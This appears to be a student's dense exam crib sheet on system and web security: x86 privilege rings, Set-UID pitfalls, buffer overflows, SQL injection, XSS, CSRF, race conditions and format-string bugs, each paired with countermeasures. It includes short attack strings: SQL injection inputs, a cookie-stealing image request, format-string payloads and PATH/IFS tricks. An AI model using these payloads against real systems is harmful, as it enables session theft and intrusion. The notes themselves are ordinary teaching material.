|  |  |  |
| --- | --- | --- |
| ***80386 Protection:* Four components of a security policy: subject, object, action, and rules. 80386 picks *MAC* so the policies can only be set by the authorities, instead of by the owners of objects.*CPL(Subject):* Current Privilege Level, the label on *subjects*. CPL is stored in a register (Bits 0 and 1 of the CS and SS segment registers). Normally, the CPL is equal to the privilege level of the code segment from which instructions are being fetched. *DPL(Object)*: Descriptor Privilege Level, the label on objects. DPL is the privilege level of an object. When the currently executing code segment attempts to access an object, the DPL is compared with CPL.** **DPL (2 bits) is in Segment Descriptor*. Memory protection within the same ring:*80386 chooses the *capability* as its access control model to achieve memory isolation; it uses the index approach.** ***Two access control mechanisms* are used here:1. Capability-based Access Control 2. Mandatory Access Control(This level of access control ensures that ring based access policies are enforced). *RPL* (Request Privilege Level) to temporarily turn on/off the capabilities while executing some instructions; RPL relies on the mandatory access control mechanism to work. *Seg. selector:*80386 also allow each task to use a Global Descriptor Table(*GDT*), which contains capabilities shared by all processes. All tasks can access these capabilities, but a capability is effective depends on the subject’s CPL and the object’s DPL. *GDT:* Each system must have one GDT defined.*LDT*: Local Descriptor Table.assign each proc own T,O/S allow proc share Mem(proc isolate from other).eg: an LDT can be defined for each proc being run, or some or all proc can share the same LDT. *RPL*: Specifies the privilege level of the selector. *Segment registers* in 80386: CS (code segment), DS (data), SS (stack), ES, FS, and GS.*Data Access:* CPL <= DPL of code segment, a subject can only access data objects with the same or lower privilege levels. Code Access: CPL = DPL, JMP seg selector:[0x90]. *3 way to invoke syscall:* *1.* *Call gates* allow a program to directly call system calls. Call gates enable programs in a lower privileged ring to jump to designated places in a higher privileged ring. *2.* *Software Interrupt or Trap:* when a program wants to call a system call, it saves the system call number in the EAX register, and then execute int 0x80 to raise a software interrupt. Interrupts transfer control to the kernel, so the kernel can execute the intended system call based on the number stored in EAX. *3.* The facility uses the instruction *SYSENTER* to enter the system call entry point at ring 0; it uses *SYSEXIT* to return back. Q&A 6.:LDTR register need to be protected as it's responsible for the translation of Local Descriptor Table,ifcanchanged,you can change the entire DT by creating your own table in your Me & let it point to LDTR, mapping entire physical Mem to ring3&modify it,OS create DT to contain ticket(entry) to access certain block Mem. *12. address* *translation* checks the boundary,in seg.descriptor has base&limit. *16.*The CPL (Current Privilege Level) of the task or program must be <= IOPL in order for the task or program to access I/O ports.---A SetUID program allows users to run a program with the permissions of the owner or the owner’s group. The SetUID sticky bit is used to set the UserID, GroupID, and EffectiveID of the owner and the user who executes that program is granted the effective permissions of the owner. Passwd is an example of setUID, used to change the password of the non-root user in a protected file which is owned by root. Users must be careful not to allow a SetUID Shell to be invoked; this will allow an attacker to run any explicit or implicit command. Bash. To reduce vulnerabilities, use Execve () which does not use a shell. *Input Validation*: attack 1.*PATH*: PATH=".:$PATH"; export PATH; attack 2. The *IFS* variable determines the characters which are to be interpreted as whitespace. IFS="/ \t\n"; export IFS; system("/bin/mail root"); --> system(" bin mail root"); Avoid Set-UID programs that create world writable files as the directory’s permission can be assigned creating symbolic link and other vulnerabilities. SetUID programs also pass on their UID and GID to their sub and child-processes unless specifically reset. IFS or Internal Field Separators are known to be vulnerable, it is important to set the IFS exception list to 0, so string manipulation for paths or filenames do not occur. Similarly, a dynamic library may be loaded by a malicious user. When the program is executed, it looks for the corresponding library (example: Changing code of printf to execute different code) which may be user created. However, set-UID programs with UID of 0 (root) ignore these preloaded libraries. Finally, be familiar with LPR, chsh, and sendmail vulnerabilities, as well as the ‘Principle of Least Privileges’. ---------Buffer Overflow occurs when the Stack creates a buffer for user input, and the input exceeds the limit of the buffer, therefore overflowing the return address and anything above it. As a result, the cpu will jump to that memory address and execute the possibly malicious code. First, push the string /bin/sh to the stack, then use the stack pointer to find the address. Second, since any null characters will end strcpy, use assembly code to initiate the stack values. Solutions: be mindful of using strcpy which does not do sanity checking on buffer limits, instead use Strncpy. Second, protection such as Stack guard (canary word) is placed before the return address, and, if found to be modified will not execute the return address. Third, Stack Shield copies the original return address to an unwritable location and rewrites it at the end of execution, preventing any potential harm. Fourth, by using Address Randomization, the stack will not begin at the same address, and therefore makes guessing the location of the return address very difficult on a 64 bit system (still easy to crack in 32 bit). The last protection mentioned in the lecture notes is the non-executable stack; this prevents any code stored on the stack from being executed *Return-to-libc:* construct buf[] for attack, &buffer[]= *addr* of "/bin/sh", system() and exit(); (LibC is autostored in stack)** | | **For SQL Injection, users enter their information on the web interface and depending on the statement will interact with the database to create a string to search a database and either return, update, or delete an entry. When using a select statement, you cannot do multiple statements such as select and update. Common attacks include commenting out password requests (--), setting conditions to always be true (user = ‘user’ OR’1=1’). Users are also able to modify other’s passwords through update statements within their own profile (pass=sha1(‘abc’) WHERE name=’ted’--) Remedies for this include Magic Quotes, which will escape any special characters that are inserted (consider faults and inefficiencies). Similar to magic quotes, there is a MYSQL escape command which will append a backslash before illegal characters to protect the integrity of the system. Programmers are also able to bind input so the interpreter will only read user input as data, not code.**  **Cross-Site Scripting is an attack method which uses vulnerabilities found in SOP.**  **Through the use of XSS, attackers can steal credentials by finding session IDs (cookies). Similar to SQL, attackers can post javascript code into their profile information, and when another user views the profile, the javascript code is fetched from the server and executed on the unsuspecting user’s browser (Alert Window).**  **The unique session ID has restricted access to the user’s browser, so by interacting javascript with another site, for instance (imgsrc=www.google.com,port:5555 + escape(document.cookie)), the user will send a get request to google, and anyone listening on google’s 5555 ports will be able to see the contents including the session ID. Users can fake an html request to a server so long as the session ID is provided, and having stolen that information, we can do almost anything as long as the format is available. These four steps make it possible 1. Open connection to webserver; 2. Set necessary HTTP header info(cookies); 3. Send Request to web server;4. Get response. The strip tags remedy (return strip\_only\_tags($array[$name], "script");) was defeated by samy in the famous myspace hack by separating the “java script” tag into two lines, and combined by the css code. By adding a copy <javascript> tag into the infected profile, anyone who viewed the profile would then source the javascript malicious code and become infected. This made it possible to create a self-propagating worm.**  ***Ring-Based Access Control for Web*:1 Browser side: *Escudo+SOP*, 2 Application Server: *Scuta+Session*, 3 Database: *Scuta* Other features: 1.Exceptions&Extensions- *Gates.*2. *Cross-Site Requests* are Mapped to the Least Privileged Ring.**  ***Ajax* (shorthand for asynchronous JavaScript + XML) *Web server is stateless*: each web request has to be authenticated; otherwise, attackers can hijack a session.**  ***Cookie* is sent as an HTTP header by a web server to a web browser and then sent back unchanged by the browser each time it accesses that server.**  ***Same-origin Policy Exploration:* The SOP restricts JavaScript programs from one origin from** **accessing resources in another origin, e.x. DOM, cookie and history object. SOP is also extended to the target URL of HTTP requests that you can create using XMLHttpRequest API. *SOP exception:* Some HTML tags like frame, iframe, img, and <a> can also trigger a HTTP request within a web page.**  ***CSRF:* The malicious site can forge both HTTP GET and POST requests for the trusted site.** ***Attack Steps:* 1. The victim user logs into the trusted site using his/her username and password, and thus creates a new session. 2. The trusted site stores the session identifier for the session in a cookie in the victim user’s web browser. 3. The victim user visits a malicious site. 4. The malicious site’s web page sends a request to the trusted site from the victim user’s browser. 5. The web browser will automatically attach the session cookie to the malicious request because it is targeted for the trusted site. 6. The trusted site, if vulnerable to CSRF, may process the malicious request forged by the attacker web site.** ***countermeasure:*1. Secret-token approach: Web applications can embed a secret token in their pages, and all requests coming from these pages will carry this token. Because cross-site requests cannot obtain this token, their forged requests will be easily identified by the server. Impl. Add secret-token in the body of the request and validate the secret-token in server side: 2. Referrer header approach: It's not adopted because of privacy.--*XSS* makes it possible for attackers to inject malicious code (e.g. JavaScript) into victim’s web browser. Using this malicious code, the attackers can steal the victim’s credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. -------*Different Libcall &syscall*: lib(r0)shared code in ring0123,mark block as comforming; libca donot change CPL(privilege donotchange)JMP3to0;sysc privilege change from3to0,implement by hardware to changeCPL,noncomforming.**  **Race Condition Vulnerability: The access() system call checks whether the real user ID or group ID has permissions to access a file, and returns 0 if it does. The open() system call also conducts access control, but it only checks whether the effective user ID or group ID has permissions to access a file. if (!access("/tmp/X", W\_OK)) {f = open("/tmp/X", O\_WRITE); write\_to\_file(f);} The window between the checking and using: Time-of-Check, Time-of-Use (TOCTOU).*Countermeasures:*1) Use atomic operation 2) Check-use-check-again approach i.e lstat("/tmp/X", &statBefore);if (!access("/tmp/X", O\_RDWR)) { int f = open("/tmp/X", O\_RDWR); fstat(f, &statAfter); if(statAfter.st\_ino == statBefore.st\_ino){...}; 3) Check-use-repeating approach: Repeat access and open for several iterations 4) Based on the Principle of Least Privilege:if (!access("/tmp/X", W\_OK)) {seteuid(real\_uid); fp=fopen(); fwrite();}**  ***Format String Vulnerability*: SegFault. *Crashing the program*:** **printf ("%s%s%s%s%s% ");2. *Viewing the stack:* printf ("%08x %08x %08x %08x %08x\n");3. *Viewing memory at any location*: printf ("\x10\x01\x48\x08 %x %x %x %x %s"); 4.*Writing an integer to nearly any location in the process memory*: printf ("12345%n", &i); 5. *Countermeasures*: Address randomization.**  ***Input Validation*: attack 1.*PATH*: PATH=".:$PATH"; export PATH; attack 2. The *IFS* variable determines the characters which are to be interpreted as whitespace. IFS="/ \t\n"; export IFS; system("/bin/mail root"); --> system(" bin mail root");** |
|  |  |